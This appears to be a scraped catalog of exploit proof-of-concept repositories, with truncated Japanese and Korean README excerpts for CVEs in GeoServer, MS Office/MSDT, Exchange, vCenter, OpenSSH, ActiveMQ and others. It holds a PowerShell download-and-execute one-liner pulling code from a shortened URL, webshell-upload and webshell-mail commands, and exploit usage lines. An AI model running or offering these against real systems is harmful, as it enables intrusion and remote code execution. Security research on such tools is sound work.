CVE-2024-36401_Geoserver_RCE_POC

⚠️ 免責事項： このツールはセキュリティ研究および正規に許可されたテストのみを目的としており、不正な目的で使用しないでください。利用者は法的責任を自ら負うものとします。 README バージョン：英語 | 中国語 脆弱性の説明 このスクリプトは、GeoServer のリモートコード実行脆弱性（CVE-2024-36401）向けに開発されたPoC（Proof of Concept）検出ツールです。この脆弱性により、攻撃者は特定のリクエストを構築することで、ターゲットサーバー上で任意のコマンドを実行できます。 環境依存関係...

CVE-2022-30190

CVE-2022-30190 - Microsoft サポート診断ツール 概要 このスクリプトは、リモートでコードを実行する Microsoft Office 文書を作成しようとします。 セットアップ git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help オプション usage: CVE-2022-30190.py -h --html HTML --cmd CMD --downexec --downloadurl...

CVE-2023-21716

CVE-2023-21716 Microsoft Word RTF フォントテーブルのヒープ破損 Microsoft Officeのwwlib内の脆弱性により、攻撃者は悪意のあるRTF文書を開いた被害者の権限でリモートコード実行を達成できます。攻撃者はこのファイルを電子メールの添付ファイル（またはその他の方法）で配信する可能性があります。 背景 Microsoft WordはMicrosoft Officeに含まれるワードプロセッシングアプリケーションです。デフォルトのインストールでは、Microsoft...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 x64 Windows のみ iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

vcenter_rce

vcenterrce 脆弱性の悪用、Vmware vCenter 6.5-7.0 RCE（CVE-2021-21972）、冰蝎3をアップロード、getshell 使い方： python3 vcenterrce -u url...

CVE-2024-6387

CVE-2024-6387 regreSSHion regreSSHionエクスプロイトの概念実証Pythonスクリプト。バージョン0.2.1 build POC インストール git clone https://github.com/l-urk/CVE-2024-6387.git cd CVE-2024-6387 pip3 install -r requirements.txt python3 regreSSHion.py -h 使用方法 🔒 CVE-2024-6387 regreSSHion remote code execution vulnerability exploit...

CVE-2025-55182

React2Shell PoC このリポジトリは、React Server Components と Next.js に影響を与える最近の重大なRCE脆弱性 React2Shell に対してセキュリティスキャナをテストするための、意図的に脆弱な最小限の環境を提供します。 CVE-2025-55182 : React Server Components バージョン 19.0.0、19.1.0、19.1.1、19.2.0（react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack...

CVE-2018-16341

CVE-2018-16341 SSTIを使用したNuxeo認証バイパス リモートコード実行 10.3 - CVE-2018-16341 詳細な分析（英語以外） : https://www.freebuf.com/vuls/193000.html https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/ セキュリティアドバイザリ :...

CVE-2021-40531

CVE-2021-40531 この概念実証の動作の様子。 Sketch はmacOS向けのUI/UXデザインアプリとして人気があります。この記事では、私が7月に発見したSketchの脆弱性CVE-2021-40531について説明します。最も単純な形では、これはmacOSの検疫バイパスですが、コンテキストによってはリモートコード実行に使用される可能性があります。 詳細については、私のブログ記事で完全な解説を参照してください。 注意事項 この概念実証をローカルでテストする場合、feed.rss はウェブサーバーがポート8080で実行されていることを想定していることに注意してください。...

CVE-2021-34473-Exchange-ProxyShell

python sendwebshellmail.py https://mail16.echod.com [email protected] 単一取得 python sendwebshellmail.py https://mail16.echod.com crack mail.txt からメールを一括で読み取り、SID トークンの取得を試みます python sendwebshellmail.py https://mail16.echod.com [email protected] send webshell の下書きメールのみ送信 python...

CVE-2020-9380

PoC IPTV Smarters エクスプロイト 使用方法 python gld.py -u http://www.pirate-ilegal-tv.com/ -i 脆弱性 ファイル includes/ajax-control.php: ?php / @ PHP 5.6 @ Decoder version : 1.0.0.1 @ Release on : 24.03.2018 @ Website : http://EasyToYou.eu / sessionstart; if fileexists"functions.php" includeonce "functions.php"; ...

CVE-2021-42261

CVE-2021-42261 推奨説明 Revisor Video Management System VMS 2.0.0 未満には、ディレクトリトラバーサルの脆弱性があります。悪用に成功すると、攻撃者はファイルシステムをトラバースして、リモートサーバー上の制限されたディレクトリの外部にあるファイルやディレクトリにアクセスできる可能性があります。これにより、脆弱なサーバー上の機密データが漏えいする可能性があります。 脆弱性タイプ ディレクトリトラバーサル 製品ベンダー Revisor Lab 影響を受ける製品コードベース Revisor VMS 2.0.0 影響を受けるコンポーネント...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Windows グラフィックスコンポーネント RCE x64 悪意あるJPEGによる重大なリモートコード実行 – Windows 11 24H2（未パッチ） CVSS 9.8 – 特権不要、操作不要 CVE-2025-50165 - windowscodecs.dll 信頼できないポインタの逆参照 発見者: Zscaler ThreatLabz パッチ適用: 2025年11月 KB5040442 機能 完全なx64ヌルフリーシェルコード（calc.exe起動 – 169バイト） APP1/EXIFセグメント内のヒープスプレー＋ROPチェーン...

CVE-2020-0688

CVE-2020-0688 に対して脆弱な Exchange サーバーを特定する CVE-2020-0688 は、静的キーの使用が原因で Microsoft Exchange に存在する重大な脆弱性です。悪用には メールユーザーレベルの 有効な資格情報が必要であり、大量悪用のリスクは低いものの、この脆弱性は SYSTEM レベルの RCE につながるため、標的型攻撃で非常に有用となる可能性があります。 詳細情報: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688...

CVE-2026-34197

CVE-2026-34197 CVE-2026-34197 activemq PoC Horizon3の投稿によるActiveMQ用のPoC https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/ krasn@icestorm cve-2026-34197-activemq % docker compose up -d krasn@icestorm cve-2026-34197-activemq % python3 exploitpoc.py auto \ --target...

ranger

ranger A tool to support security professionals access and interact with remote Microsoft Windows based systems. This project was conceptualized with the thought process, we did not invent the bow or the arrow, just a more efficient way of using it. Ranger is a command-line driven attack and...

CVE-2020-14295

CVE-2020-14295 CVE-2020-14295 の概念実証です。元の投稿は exploit-db でご覧いただけます。 インストール要件 python3 -m pip install -r requirements.txt 使用方法 $ python3 cactisqlirce.py --help usage: cactisqlirce.py -h -t -u -p --lhost --lport Cacti 1.2.12 - SQL Injection / Remote Code Execution optional arguments: -h, --help show...

CVE-2025-49132

CVE-2025-49132...

RTI-Toolkit

RTI-툴킷 원격 템플릿 주입 툴킷 설명 RTI-툴킷은 원격 템플릿 주입Remote Template Injection 공격을 위한 오픈소스 PowerShell 툴킷입니다. 이 툴킷에는 PS-Templator.ps1이라는 PowerShell 스크립트가 포함되어 있으며, 공격 및 방어 관점 모두에서 사용할 수 있습니다. 다음 표는 PS-Templator.ps1의 주요 모듈명령어을 보여줍니다: Cmdlet| 설명| 관점 ---|---|--- Invoke-Template| 기본 Office Word 템플릿 내에 원격 템플릿 링크를 구...

CVE-2022-30190

CVE-2022-30190 Microsoft Office Word Rce 再現 CVE-2022-30190 脆弱性の概要 MS Office の docx ファイルには、HTML ファイルとして外部 OLE オブジェクト参照が含まれる可能性があります。ms-msdt: という HTML シナリオが存在し、msdt 診断ツールを呼び出して、任意のコードを実行できます（パラメータで指定）。 結果として、悪意のある docx ファイルを開くだけで（マクロを使用せずに）RCE を獲得できる恐ろしい攻撃ベクトルとなります。 再現開始 Twitter で @naosec...